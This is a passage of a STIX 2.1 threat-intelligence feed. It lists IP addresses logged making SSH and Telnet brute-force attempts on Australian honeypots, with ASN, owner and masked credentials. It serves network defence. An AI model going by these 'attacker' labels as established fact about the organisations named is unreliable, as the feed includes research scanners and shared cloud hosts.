      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '207.154.197.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T10:15:03.000Z",
      "valid_until": "2026-05-16T10:15:01.000Z"
    },
    {
      "created": "2026-04-14T10:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 291. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KZ. ASN(s): 50482. Organisation(s): JSC Kazakhtelecom. Usernames observed (masked): r**t, 3**********4, d****y, o**o, ***. Passwords observed (masked): 3***********4, 3**********4, *, 1**1, 1****6.",
      "id": "indicator--cd5f5944-0356-457d-846a-a79f0d1b8a8c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T10:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '212.154.234.9']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T10:15:03.000Z",
      "valid_until": "2026-05-16T10:15:01.000Z"
    },
    {
      "created": "2026-04-14T11:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 132116. Organisation(s): Ani Network Pvt Ltd.",
      "id": "indicator--ec3c7071-dc48-483f-a1db-b02eafec0b66",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T11:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.248.94.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T11:15:03.000Z",
      "valid_until": "2026-05-16T11:15:01.000Z"
    },
    {
      "created": "2026-04-14T11:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 58470. Organisation(s): IX Peering for Mobilink and Link Direct International..",
      "id": "indicator--a7171d14-f036-4fd2-a09c-fc6a44747bb3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T11:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '119.30.118.0']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T11:15:03.000Z",
      "valid_until": "2026-05-16T11:15:01.000Z"
    },
    {
      "created": "2026-04-14T11:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 31898. Organisation(s): Oracle Corporation.",
      "id": "indicator--51e9c9e0-90d2-4dc0-9bcc-40bd82da4c2f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T11:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '134.185.117.241']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T11:15:03.000Z",
      "valid_until": "2026-05-16T11:15:01.000Z"
    },
    {
      "created": "2026-04-14T11:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MY. ASN(s): 4788. Organisation(s): TM TECHNOLOGY SERVICES SDN. BHD..",
      "id": "indicator--12ef5956-1869-4cd6-b94f-2268e69defdf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T11:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '175.137.165.225']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T11:15:03.000Z",
      "valid_until": "2026-05-16T11:15:01.000Z"
    },
    {
      "created": "2026-04-14T11:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--e411e6d3-f402-425f-9888-3fbfca5097eb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T11:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T11:15:03.000Z",
      "valid_until": "2026-05-16T11:15:01.000Z"
    },
    {
      "created": "2026-04-14T11:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 134762. Organisation(s): CHINANET Liaoning province Dalian MAN network.",
      "id": "indicator--22a166a7-6378-436b-8834-20f76222b487",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T11:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '43.226.47.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T11:15:03.000Z",
      "valid_until": "2026-05-16T11:15:01.000Z"
    },
    {
      "created": "2026-04-14T12:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 40. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 141421. Organisation(s): MUX BROADBAND PRIVATE LIMITED.",
      "id": "indicator--b6a64034-5586-4b06-a212-7a0435157d59",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T12:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.84.57.217']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T12:15:03.000Z",
      "valid_until": "2026-05-16T12:15:01.000Z"
    },
    {
      "created": "2026-04-14T12:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 29. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 137718. Organisation(s): Beijing Volcano Engine Technology Co., Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): -**************-, 5***************O, h******!, r********6.",
      "id": "indicator--cb54bd99-7d2b-4e5e-94b2-ebde7d82bf7a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T12:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '115.190.138.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T12:15:03.000Z",
      "valid_until": "2026-05-16T12:15:01.000Z"
    },
    {
      "created": "2026-04-14T12:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 41. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): , C************0, C******************>, F************************t, G************0. Passwords observed (masked): , A*********************p, C**************S, C***************0, T***************>.",
      "id": "indicator--d7130032-6461-4f26-953d-d3e8dc0d87b8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T12:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '159.223.27.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T12:15:03.000Z",
      "valid_until": "2026-05-16T12:15:01.000Z"
    },
    {
      "created": "2026-04-14T12:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 30. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 138423. Organisation(s): CMPak Limited.",
      "id": "indicator--8d8be285-130e-45b0-9db9-ad004e78d570",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T12:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '223.123.35.135']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T12:15:03.000Z",
      "valid_until": "2026-05-16T12:15:01.000Z"
    },
    {
      "created": "2026-04-14T13:15:46.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 271. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, d****y, 3**********4, c****e, f*****r. Passwords observed (masked): 3***********4, 3**********4, A*******9, A******4, C******4.",
      "id": "indicator--4880de17-6c60-4f73-8abc-b3d94247363f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T13:15:46.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '118.193.47.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T13:15:46.000Z",
      "valid_until": "2026-05-16T13:15:02.000Z"
    },
    {
      "created": "2026-04-14T13:15:46.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 344. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 24560. Organisation(s): Bharti Airtel Ltd., Telemedia Services. Usernames observed (masked): r**t, 3**********4, u****u, c**l, d****y. Passwords observed (masked): 3***********4, 3**********4, t**t, 1****6, 1*******c.",
      "id": "indicator--0ddaa3df-fbe2-4a82-9afa-51e7196d5cff",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T13:15:46.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '122.166.49.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T13:15:46.000Z",
      "valid_until": "2026-05-16T13:15:02.000Z"
    },
    {
      "created": "2026-04-14T13:15:46.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TR. ASN(s): 34984. Organisation(s): Superonline Iletisim Hizmetleri A.S.. Usernames observed (masked): **. Passwords observed (masked): r*******y, r**********************1.",
      "id": "indicator--09e7b139-9068-42eb-9d2e-45e07c9e094e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T13:15:46.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '176.236.20.180']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T13:15:46.000Z",
      "valid_until": "2026-05-16T13:15:02.000Z"
    },
    {
      "created": "2026-04-14T13:15:46.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 362. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RU. ASN(s): 61400. Organisation(s): Start2 LLC. Usernames observed (masked): r**t, 3**********4, u****u, c**l, d****y. Passwords observed (masked): 3***********4, 3**********4, t**t, 1****6, 1*******c.",
      "id": "indicator--40df6306-d4d7-4755-874c-d82f17f9f2f5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T13:15:46.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '185.40.30.168']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T13:15:46.000Z",
      "valid_until": "2026-05-16T13:15:02.000Z"
    },
    {
      "created": "2026-04-14T13:15:46.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 17839. Organisation(s): LG HelloVision Corp..",
      "id": "indicator--a45aeef4-01d7-44f3-9817-a29c728a2959",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T13:15:46.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '61.106.81.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T13:15:46.000Z",
      "valid_until": "2026-05-16T13:15:02.000Z"
    },
    {
      "created": "2026-04-14T14:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 134489. Organisation(s): S. B Link Network.",
      "id": "indicator--21338133-e59e-42af-b30e-18baaab985ad",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T14:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '203.128.20.209']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T14:15:04.000Z",
      "valid_until": "2026-05-16T14:15:02.000Z"
    },
    {
      "created": "2026-04-14T14:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue.",
      "id": "indicator--5f500cc0-421a-4455-a88e-21a5bb4f5a78",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T14:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '43.134.59.35']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T14:15:04.000Z",
      "valid_until": "2026-05-16T14:15:02.000Z"
    },
    {
      "created": "2026-04-14T16:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 17. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 151729. Organisation(s): SWIFTIFY PRIVATE LIMITED.",
      "id": "indicator--61e4677c-2939-4fec-b9ea-ede7a11687b7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T16:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.72.8.57']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T16:15:03.000Z",
      "valid_until": "2026-05-16T16:15:02.000Z"
    },
    {
      "created": "2026-04-14T16:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 16509. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--f0d69129-b410-4915-8e7e-4bdd04cfef93",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T16:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '18.144.173.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T16:15:03.000Z",
      "valid_until": "2026-05-16T16:15:02.000Z"
    },
    {
      "created": "2026-04-14T16:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MY. ASN(s): 4788. Organisation(s): TM TECHNOLOGY SERVICES SDN. BHD..",
      "id": "indicator--88aedeb6-bde9-46d7-969a-1ace58e9f3d1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T16:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '60.52.22.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T16:15:03.000Z",
      "valid_until": "2026-05-16T16:15:02.000Z"
    },
    {
      "created": "2026-04-14T16:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 10439. Organisation(s): CariNet, Inc..",
      "id": "indicator--2e20e28a-9c92-4758-a4e4-eac8d68595e7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T16:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '71.6.134.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T16:15:03.000Z",
      "valid_until": "2026-05-16T16:15:02.000Z"
    },
    {
      "created": "2026-04-14T17:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--be50ca16-c407-4642-a89f-9128f7ee4be1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T17:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.129']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T17:15:05.000Z",
      "valid_until": "2026-05-16T17:15:02.000Z"
    },
    {
      "created": "2026-04-14T17:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: HK. ASN(s): 142403. Organisation(s): YISU CLOUD LTD.",
      "id": "indicator--977ed99f-738e-4be6-ab79-c5672ef0b377",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T17:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '154.92.15.23']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T17:15:05.000Z",
      "valid_until": "2026-05-16T17:15:02.000Z"
    },
    {
      "created": "2026-04-14T17:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 173. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 7713. Organisation(s): PT Telekomunikasi Indonesia. Usernames observed (masked): r**t, t****r, 3**********4, ***, d***s. Passwords observed (masked): 1********0, 3***********4, 3**********4, A******************************0, A*****$.",
      "id": "indicator--931186f3-e0a4-4350-bdad-68d88a82ac8d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T17:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '36.64.162.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T17:15:05.000Z",
      "valid_until": "2026-05-16T17:15:02.000Z"
    },
    {
      "created": "2026-04-14T17:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 172. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 401696. Organisation(s): cognetcloud INC. Usernames observed (masked): r**t, 3**********4, ***, p******s, s***m. Passwords observed (masked): 1********0, 3***********4, 3**********4, A******************************0, A*****$.",
      "id": "indicator--4804fc58-39a9-416f-9072-512adb3c9d71",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T17:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '43.242.203.160']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T17:15:05.000Z",
      "valid_until": "2026-05-16T17:15:02.000Z"
    },
    {
      "created": "2026-04-14T17:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 200730. Organisation(s): ISAEV Igor.",
      "id": "indicator--4c480ba0-6f11-47cd-a06d-16a6b7968d91",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T17:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '87.251.64.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T17:15:05.000Z",
      "valid_until": "2026-05-16T17:15:02.000Z"
    },
    {
      "created": "2026-04-14T19:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 23. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 137718. Organisation(s): Beijing Volcano Engine Technology Co., Ltd.. Usernames observed (masked): r**t, a***n, o******i. Passwords observed (masked): *, a***n, o******i, p******d.",
      "id": "indicator--76ea8533-7f75-4c52-9edb-602d8c40ea42",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T19:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '101.96.199.144']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T19:15:05.000Z",
      "valid_until": "2026-05-16T19:15:02.000Z"
    },
    {
      "created": "2026-04-14T19:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 47890. Organisation(s): Unmanaged Ltd.",
      "id": "indicator--730aedf8-1ad5-4183-b26a-768a3ea9c3be",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T19:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '2.57.121.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T19:15:05.000Z",
      "valid_until": "2026-05-16T19:15:02.000Z"
    },
    {
      "created": "2026-04-14T19:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 57. Sensors involved: Cowrie. Target ports: 22. Source country: FR. ASN(s): 16276. Organisation(s): OVH SAS.",
      "id": "indicator--39a45b45-38c2-4098-9098-ca15ab59db1e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T19:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '51.68.207.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T19:15:05.000Z",
      "valid_until": "2026-05-16T19:15:02.000Z"
    },
    {
      "created": "2026-04-14T20:15:23.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--922181b7-49a5-49cd-9a5d-faaee8d69d62",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T20:15:23.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '159.223.26.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T20:15:23.000Z",
      "valid_until": "2026-05-16T20:15:02.000Z"
    },
    {
      "created": "2026-04-14T20:15:23.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--90d00b33-e6bd-478f-94de-08bd0cbf0832",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T20:15:23.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '195.184.76.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T20:15:23.000Z",
      "valid_until": "2026-05-16T20:15:02.000Z"
    },
    {
      "created": "2026-04-14T20:15:23.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--c052770f-8780-47bf-943e-5c8f4159fd19",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T20:15:23.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '195.184.76.237']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T20:15:23.000Z",
      "valid_until": "2026-05-16T20:15:02.000Z"
    },
    {
      "created": "2026-04-14T20:15:23.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--f22b46b9-8ec3-433f-a9a8-9bbb8849eb42",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T20:15:23.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '195.184.76.239']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T20:15:23.000Z",
      "valid_until": "2026-05-16T20:15:02.000Z"
    },
    {
      "created": "2026-04-14T20:15:23.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--99589a5e-3591-4ce9-a054-af82b6a8b331",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T20:15:23.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '195.184.76.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
